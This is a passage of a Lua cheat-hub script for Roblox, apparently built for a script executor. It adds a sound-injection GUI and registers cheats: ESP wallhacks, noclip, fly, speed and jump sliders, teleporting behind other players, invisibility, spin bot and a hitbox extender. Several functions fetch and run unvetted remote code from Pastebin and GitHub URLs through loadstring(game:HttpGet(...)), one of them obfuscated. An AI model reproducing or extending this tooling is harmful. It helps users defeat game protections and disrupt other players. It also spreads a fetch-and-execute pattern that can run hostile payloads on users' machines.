PlayBackSpeed.Parent = Frame PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0) PlayBackSpeed.BorderSizePixel = 2 PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33) PlayBackSpeed.Visible = false PlayBackSpeed.Font = Enum.Font.Arial PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!" PlayBackSpeed.Text = "1" PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255) PlayBackSpeed.TextScaled = true PlayBackSpeed.TextSize = 14.000 PlayBackSpeed.TextWrapped = true Volume.Name = "Volume" Volume.Parent = Frame Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Volume.BorderColor3 = Color3.fromRGB(255, 0, 0) Volume.BorderSizePixel = 2 Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Volume.Size = UDim2.new(0, 307, 0, 33) Volume.Visible = false Volume.Font = Enum.Font.Arial Volume.PlaceholderText = "Volume! Enter a number." Volume.Text = "0.5" Volume.TextColor3 = Color3.fromRGB(255, 255, 255) Volume.TextScaled = true Volume.TextSize = 14.000 Volume.TextWrapped = true Looped.Name = "Looped" Looped.Parent = Frame Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Looped.BorderColor3 = Color3.fromRGB(255, 0, 0) Looped.BorderSizePixel = 2 Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Looped.Size = UDim2.new(0, 307, 0, 33) Looped.Visible = false Looped.Font = Enum.Font.Arial Looped.PlaceholderText = "Is it looped?, Type: False or True" Looped.Text = "False" Looped.TextColor3 = Color3.fromRGB(255, 255, 255) Looped.TextScaled = true Looped.TextSize = 14.000 Looped.TextWrapped = true Exit.Name = "Exit" Exit.Parent = Frame Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Exit.BorderColor3 = Color3.fromRGB(255, 0, 0) Exit.BorderSizePixel = 2 Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0) Exit.Size = UDim2.new(0, 25, 0, 23) Exit.Image = "rbxassetid://14930908086" Frame2.Name = "Frame2" Frame2.Parent = SoundGui Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0) Frame2.BorderSizePixel = 0 Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0) Frame2.Size = UDim2.new(0, 25, 0, 23) Frame2.Visible = false Open.Name = "Open" Open.Parent = Frame2 Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Open.BorderColor3 = Color3.fromRGB(255, 0, 0) Open.BorderSizePixel = 2 Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0) Open.Size = UDim2.new(0, 25, 0, 23) Open.Image = "rbxassetid://14930908086" -- Scripts: local function GSSVM_fake_script() -- AddSoundId.LocalScript local script = Instance.new('LocalScript', AddSoundId) local parent = script.Parent parent.Activated:Connect(function() local SoundId = parent.Parent:WaitForChild("SoundIds").Text local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text local Volume = parent.Parent:WaitForChild("Volume").Text local looped = parent.Parent:WaitForChild("Looped").Text if SoundId == "" then parent.Text = "No Sound ID!" wait(2) parent.Text = "Add Sound!" return end local id = "rbxassetid://" .. SoundId local speed = tonumber(Playbackspeed) or 1 local existingSound = game.Workspace:FindFirstChild("c00lsound23sas") if existingSound then existingSound.SoundId = id existingSound.PlaybackSpeed = speed existingSound.Volume = Volume if looped == "False" then existingSound.Looped = false elseif looped == "True" then existingSound.Looped = true else existingSound.Looped = false end existingSound:Play() else local clonedSound = parent.Parent.c00lsound23sas:Clone() clonedSound.Parent = game.Workspace clonedSound.SoundId = id clonedSound.PlaybackSpeed = speed clonedSound.Volume = Volume if looped == "False" then clonedSound.Looped = false elseif looped == "True" then clonedSound.Looped = true else clonedSound.Looped = false end clonedSound.Looped = looped clonedSound:Play() end parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!" parent.TextScaled = true wait(3.5) parent.TextScaled = false parent.Text = "Add Sound!" end) end coroutine.wrap(GSSVM_fake_script)() local function MWUVEW_fake_script() -- Default.LocalScript local script = Instance.new('LocalScript', Default) local parent = script.Parent local sound = parent.Parent.spoky parent.Activated:Connect(function() if sound.Playing == true then sound.Playing = false else sound.Playing = true end end) end coroutine.wrap(MWUVEW_fake_script)() local function BIKZQ_fake_script() -- Swap.LocalScript local script = Instance.new('LocalScript', Swap) local parent = script.Parent local playback = parent.Parent.PlayBackSpeed local Sound = parent.Parent.SoundIds local volume = parent.Parent.Volume local looped = parent.Parent.Looped parent.Activated:Connect(function() if Sound.Visible == true then Sound.Visible = false playback.Visible = true volume.Visible = false looped.Visible = false elseif playback.Visible ==true then playback.Visible = false Sound.Visible = false volume.Visible = true looped.Visible = false elseif volume.Visible == true then Sound.Visible = false playback.Visible = false volume.Visible = false looped.Visible = true elseif looped.Visible == true then Sound.Visible = true playback.Visible = false volume.Visible = false looped.Visible = false end end) end coroutine.wrap(BIKZQ_fake_script)() local function AXYPXC_fake_script() -- Exit.LocalScript local script = Instance.new('LocalScript', Exit) local parent = script.Parent local main = parent.Parent parent.Activated:Connect(function() main.Parent.Frame2.Visible = true main.Visible = false end) end coroutine.wrap(AXYPXC_fake_script)() local function WHTXC_fake_script() -- Open.LocalScript local script = Instance.new('LocalScript', Open) local parent = script.Parent local main = parent.Parent.Parent.Frame parent.Activated:Connect(function() main.Visible = true parent.Parent.Visible = false end) end coroutine.wrap(WHTXC_fake_script)() end, "General", "NOT FE") FunctionManager:register("Bind Key", function() if bindFrame then return end local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die) if not gui then NotifyERROR("Gui not found!"); return end screenGui = gui bindFrame = Instance.new("Frame") bindFrame.Name = generate_string(math_random(1, 10)) bindFrame.Size = UDim2.new(1,0,1,0) bindFrame.BackgroundColor3 = Color3.new(0,0,0) bindFrame.BackgroundTransparency = 0.5 bindFrame.ZIndex = 50 bindFrame.Parent = screenGui local panel = Instance.new("Frame") panel.Name = generate_string(math_random(1, 10)) panel.Size = UDim2.new(0, 300, 0, 400) panel.Position = UDim2.new(0.5, -150, 0.5, -200) panel.BackgroundColor3 = Color3.fromRGB(35,35,35) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = bindFrame local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 60, 0, 24) closeBtn.Position = UDim2.new(1, -64, 0, 4) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() bindFrame:Destroy() bindFrame = nil if bindConn then bindConn:Disconnect(); bindConn = nil end end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -8, 0, 24) title.Position = UDim2.new(0, 4, 0, 4) title.BackgroundTransparency = 1 title.Font = Enum.Font.SourceSansBold title.TextSize = 18 title.TextColor3 = Color3.new(1,1,1) title.Text = "Bind Key to Function" title.ZIndex = 52 title.Parent = panel local list = Instance.new("ScrollingFrame") list.Size = UDim2.new(1, -8, 1, -40) list.Position = UDim2.new(0, 4, 0, 32) list.CanvasSize = UDim2.new(0,0,0,0) list.ScrollBarThickness = 6 list.ZIndex = 51 list.Parent = panel local uiList = Instance.new("UIListLayout") uiList.Padding = UDim.new(0,4) uiList.SortOrder = Enum.SortOrder.LayoutOrder uiList.Parent = list local function refreshList() for _, child in ipairs(list:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then child:Destroy() end end for _, cat in ipairs(FunctionManager.Categories) do local hdr = Instance.new("TextLabel") hdr.Size = UDim2.new(1,0,0,24) hdr.BackgroundTransparency = 1 hdr.Font = Enum.Font.SourceSansBold hdr.TextSize = 16 hdr.TextColor3 = Color3.new(1,1,0) hdr.Text = "["..cat.."]" hdr.ZIndex = 51 hdr.Parent = list for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do local btn = Instance.new("TextButton") btn.Size = UDim2.new(1,0,0,24) btn.Font = Enum.Font.SourceSans btn.TextSize = 14 btn.BackgroundColor3 = Color3.fromRGB(50,50,50) btn.TextColor3 = Color3.new(1,1,1) btn.ZIndex = 51 local bound = {} for key, fn in pairs(customBinds) do if fn == cb then table.insert(bound, tostring(key)) end end local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or "" btn.Text = name..suffix btn.Parent = list btn.MouseButton1Click:Connect(function() waitingBindFunction = { cb = cb, btn = btn, name = name } btn.Text = name.." → [Press a key]" end) end end list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8) end bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed or not waitingBindFunction then return end if input.UserInputType == Enum.UserInputType.Keyboard then customBinds[input.KeyCode] = waitingBindFunction.cb waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")" waitingBindFunction = nil end end) refreshList() end, "Utility", "BUGGED") UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.UserInputType == Enum.UserInputType.Keyboard then local fn = customBinds[input.KeyCode] if fn and type(fn) == "function" then pcall(fn) end end end) FunctionManager:register("JumpUp", function() local char = Player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end end, "Movement", "Leap into the air!") FunctionManager:register("Sit", function() local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = true end end, "Movement", "SIT DOWN") FunctionManager:register("INF JUMP", function() infJumpEnabled = not infJumpEnabled if infJumpEnabled then local debounce = false infJumpConnection = UserInputService.JumpRequest:Connect(function() if debounce then return end debounce = true local character = Player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end task.wait() debounce = false end) else if infJumpConnection then infJumpConnection:Disconnect() infJumpConnection = nil end end end, "Movement", "Jump Forever!") FunctionManager:register("WalkSpeed Slider", function() if screenGui:FindFirstChild("WalkSpeedModal") then return end local overlay = Instance.new("Frame") overlay.Name = "WalkSpeedModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "SliderPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minS, maxS = 8, 100 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minS + (maxS-minS)*rel) Humanoid.WalkSpeed = v label.Text = "WalkSpeed: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your walkspeed!") FunctionManager:register("Server Hop", function() local success, res = pcall(function() return game:HttpGet( "https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true" ) end) if not success then return NotifyERROR("[Server Hop] HTTP request failed") end local body local ok, err = pcall(function() body = HttpService:JSONDecode(res) end) if not ok or type(body) ~= "table" or type(body.data) ~= "table" then return NotifyERROR("[Server Hop] Invalid JSON response") end local servers = {} for _, v in ipairs(body.data) do if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then table.insert(servers, v.id) end end if #servers == 0 then return NotifyERROR("[Server Hop] No available servers found") end local choice = servers[math.random(1, #servers)] TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer) end, "Utility","Changes Servers") FunctionManager:register("TP Behind Closest", function() if not HRP then NotifyERROR("No HumanoidRootPart found.") return end local closestPlayer local shortestDistance = math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local distance = (otherRoot.Position - HRP.Position).Magnitude if distance < shortestDistance then shortestDistance = distance closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3 local newCFrame = CFrame.new(behindPosition, targetRoot.Position) HRP.CFrame = newCFrame end else NotifyERROR("No nearby player found.") end end, "Movement", "Owai moi, shinderu. NANI?") FunctionManager:register("Scare Closest Player", function() if not HRP then NotifyERROR("Could not find your HumanoidRootPart.") return end local closestPlayer, closestDistance = nil, math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local dist = (otherRoot.Position - HRP.Position).Magnitude if dist < closestDistance then closestDistance = dist closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local oldPos = HRP.CFrame HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2 HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position) task.wait(0.5) HRP.CFrame = oldPos end else NotifyERROR("No target player nearby.") end end, "Fun", "FNAF reference") FunctionManager:register("ESP Toggle", function() espOn = not espOn for _, plr in ipairs(Players:GetPlayers()) do if plr.Character and plr ~= Player then local head = plr.Character:FindFirstChild("Head") if head then local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head) bb.Name = "ESP" bb.Size = UDim2.new(0,80,0,20) bb.AlwaysOnTop = true local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb) lbl.Name = "Name" lbl.BackgroundTransparency = 1 lbl.Size = UDim2.new(1,0,1,0) lbl.TextColor3 = Color3.new(1,0,0) lbl.TextScaled = true lbl.Text = plr.Name bb.Enabled = espOn end end end Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3) end, "Visual", "ur cooked i just got wallhacks") FunctionManager:register("JumpPowerSlider", function() if screenGui:FindFirstChild("JumpPowerModal") then return end Humanoid.UseJumpPower = true local overlay = Instance.new("Frame") overlay.Name = "JumpPowerModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "JumpPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minJ, maxJ = 50, 200 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minJ + (maxJ-minJ)*rel) Humanoid.JumpPower = v label.Text = "JumpPower: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your jumppower") FunctionManager:register("Spin Bot", function() spinOn = not spinOn if spinOn then if not HRP then return NotifyERROR("No HRP!") end lockBP = Instance.new("BodyPosition") lockBP.Name = "SpinLockBP" lockBP.Position = HRP.Position lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6) lockBP.P = 1e5 lockBP.D = 0 lockBP.Parent = HRP spinBAV = Instance.new("BodyAngularVelocity") spinBAV.Name = "SpinBAV" spinBAV.AngularVelocity = Vector3.new(0, 10000, 0) spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6) spinBAV.P = 1e5 spinBAV.Parent = HRP NotifyERROR("Spin Bot On") else if spinBAV then spinBAV:Destroy() spinBAV = nil end if lockBP then lockBP:Destroy() lockBP = nil end NotifyERROR("Spin Bot Off") end end, "Visual", "Speeeeen") FunctionManager:register("TP To Mouse", function() if hit then HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0)) warn("Teleported to mouse") end end, "Movement", "BUGGED") FunctionManager:register("Save Position", function() savedCFrame = HRP.CFrame Notify("Position Saved", "SYSTEM", 3) end, "Utility", "Checkpoint") FunctionManager:register("Load Position", function() if savedCFrame then HRP.CFrame = savedCFrame Notify("Position Loaded", "SYSTEM", 3) else NotifyERROR("No Position Saved") end end, "Utility", "Reload") FunctionManager:register("No‑Clip", function() noclipOn = not noclipOn if noclipOn then hoverHeight = HRP.Position.Y while noclipOn == true do task.wait(0.01) for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end local pos = HRP.Position HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z) end Notify("No‑Clip ON (locked at height)", "SYSTEM", 3) else for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end Notify("No‑Clip OFF", "SYSTEM", 3) end end, "Movement", "NOCLIP") FunctionManager:register("DarkDex", function() --Maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))() end, "General", "Take a peek under the hood") FunctionManager:register("SimpleSpy", function() --also maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))() end, "Catch remotes") FunctionManager:register("Orbit All Nearby Parts", function() local radius = 20 local height = 3 local orbitSpeed = 2 local speaker = Players.LocalPlayer local character = speaker.Character or speaker.CharacterAdded:Wait() local root = character:FindFirstChild("HumanoidRootPart") if not root then NotifyERROR("No HumanoidRootPart found.") return end local origin = root.Position local orbitParts = {} for _, part in ipairs(workspace:GetDescendants()) do if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then local isInCharacter = false for _, player in ipairs(Players:GetPlayers()) do local char = player.Character if char and part:IsDescendantOf(char) then isInCharacter = true break end end if not isInCharacter and (part.Position - origin).Magnitude <= radius then if not CollectionService:HasTag(part, "OrbitPart") then if part:CanSetNetworkOwnership() then part:SetNetworkOwner(speaker) else warn("Cannot set network owner for part:", part.Name) end part.CanCollide = false CollectionService:AddTag(part, "OrbitPart") table.insert(orbitParts, part) end end end end if #orbitParts == 0 then warn("No parts found for orbit.") return end local angleOffset = 2 * math.pi / #orbitParts for i, part in ipairs(orbitParts) do local angle = angleOffset * i local startPos = root.Position + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) part.Position = startPos local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) bodyGyro.P = 1e4 bodyGyro.CFrame = CFrame.new(part.Position, root.Position) bodyGyro.Parent = part local bodyVel = Instance.new("BodyVelocity") bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5) bodyVel.P = 1e4 bodyVel.Parent = part local conn conn = RunService.Heartbeat:Connect(function(dt) if not root or not root.Parent then conn:Disconnect() return end angle += orbitSpeed * dt local orbitCenter = root.Position local orbitPoint = orbitCenter + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) local tangent = Vector3.new( -math.sin(angle), 0, math.cos(angle) ).Unit * orbitSpeed * radius bodyVel.Velocity = tangent bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter) part.Position = orbitPoint end) end warn("Orbiting", #orbitParts, "parts around you.") end, "Fun", "You have to be near the parts for a while for it to work") local function toggleInvisibility() if invisRunning then return end invisRunning = true local player = Players.LocalPlayer repeat task.wait(0.1) until player.Character local originalChar = player.Character originalChar.Archivable = true local invisibleChar = originalChar:Clone() invisibleChar.Name = "" invisibleChar.Parent = Lighting -- clone transparency for _, part in ipairs(invisibleChar:GetDescendants()) do if part:IsA("BasePart") then part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5 end end -- we’ll need these in nested functions: local isInvis = false local voidConn, deathConn, steppedConn -- Respawn helper (puts you back to originalChar) local function Respawn() invisRunning = false if steppedConn then steppedConn:Disconnect() end if deathConn then deathConn:Disconnect() end player.Character = originalChar originalChar.Parent = workspace -- destroy the extra humanoid local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid") if clonedHum then clonedHum:Destroy() end invisibleChar.Parent = nil end -- fix for falling through the void local voidY = workspace.FallenPartsDestroyHeight steppedConn = RunService.Stepped:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end local y = hrp.Position.Y if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then Respawn() end end) -- if cloned character dies local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid") deathConn = clonedHum.Died:Connect(Respawn) -- now swap them local camCF = workspace.CurrentCamera.CFrame local hrpCF = originalChar.HumanoidRootPart.CFrame originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0)) workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable task.wait(0.2) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom invisibleChar.Parent = workspace invisibleChar.HumanoidRootPart.CFrame = hrpCF player.Character = invisibleChar -- re‑enable animations for _, a in ipairs(player.Character:GetDescendants()) do if a.Name == "Animate" and a:IsA("Model") then a.Disabled = true; a.Disabled = false end end workspace.CurrentCamera:remove() wait(.1) repeat wait() until player.Character ~= nil workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" player.CameraMinZoomDistance = 0.5 player.CameraMaxZoomDistance = 400 player.CameraMode = "Classic" player.Character.Head.Anchored = false player.Character.Animate.Enabled = false player.Character.Animate.Enabled = true Notify("You are now invisible!", "System", 3) end FunctionManager:register( "Invisible", toggleInvisibility, "Fun", "Make your character invisible until you respawn or die" ) FunctionManager:register("Fly", function() if not HRP then warn("No HumanoidRootPart found; cannot fly.") return end flyingEnabled = not flyingEnabled if flyingEnabled then flyBG = Instance.new("BodyGyro") flyBG.P = 9e4 flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4) flyBG.CFrame = HRP.CFrame flyBG.Parent = HRP flyBV = Instance.new("BodyVelocity") flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4) flyBV.Velocity = Vector3.new(0, 0, 0) flyBV.Parent = HRP flyConn = RunService.Heartbeat:Connect(function() local camCFrame = workspace.CurrentCamera.CFrame local dir = Vector3.new() if UserInputService:IsKeyDown(Enum.KeyCode.W) then dir = dir + camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.S) then dir = dir - camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.A) then dir = dir - camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.D) then dir = dir + camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.Space) then dir = dir + Vector3.new(0, 1, 0) end if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then dir = dir - Vector3.new(0, 1, 0) end if dir.Magnitude > 0 then dir = dir.Unit * 50 end flyBV.Velocity = dir flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector) end) else if flyConn then flyConn:Disconnect() flyConn = nil end if flyBG then flyBG:Destroy() flyBG = nil end if flyBV then flyBV:Destroy() flyBV = nil end end end, "Movement", "Fly around!") FunctionManager:register("HatHub", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))() end, "Troll", "Credits to original maker!") FunctionManager:register("Hitbox Extender", function() loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))() end, "Troll", "Extends hitboxes") FunctionManager:register("Part Grab", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))() end, "Troll", "Much better part grab") FunctionManager:register("Hat Script", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))() end, "Troll", "HATS") FunctionManager:register("PART ORBIT", function() loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))() end, "Troll", "Probs better orbit") FunctionManager:register("chat unbanner", function() loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))() end, "Utility", "Credits to the original maker!") FunctionManager:register("Fling GUI", function() loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))() end, "Troll", "Credits to the original maker!") --init updateGrid() end) end; task.spawn(C_c); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_e() local script = G2L["e"]; script.Parent.MouseButton1Click:Connect(function() local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))() local Window = Rayfield:CreateWindow({ Name = "📢Universal Scripts📢", Icon = 0, -- Icon in Topbar. Can use Lucide Icons (string) or Roblox Image (number). 0 to use no icon (default). LoadingTitle = "Universal Hub", LoadingSubtitle = "by Lucas_cubing10", ShowText = "Rayfield", -- for mobile users to unhide rayfield, change if you'd like Theme = "Default", -- Check https://docs.sirius.menu/rayfield/configuration/themes ToggleUIKeybind = "K", -- The keybind to toggle the UI visibility (string like "K" or Enum.KeyCode) DisableRayfieldPrompts = false, DisableBuildWarnings = false, -- Prevents Rayfield from warning when the script has a version mismatch with the interface ConfigurationSaving = { Enabled = true, FolderName = nil, -- Create a custom folder for your hub/game FileName = "znc13hub" }, Discord = { Enabled = true, -- Prompt the user to join your Discord server if their executor supports it Invite = "QsFuTYYbRf", -- The Discord invite code, do not include discord.gg/. E.g. discord.gg/ ABCD would be ABCD RememberJoins = true -- Set this to false to make them join the discord every time they load it up }, KeySystem = false, -- Set this to true to use our key system KeySettings = { Title = "Untitled", Subtitle = "Key System", Note = "No method of obtaining the key is provided", -- Use this to tell the user how to get a key FileName = "Key", -- It is recommended to use something unique as other scripts using Rayfield may overwrite your key file SaveKey = true, -- The user's key will be 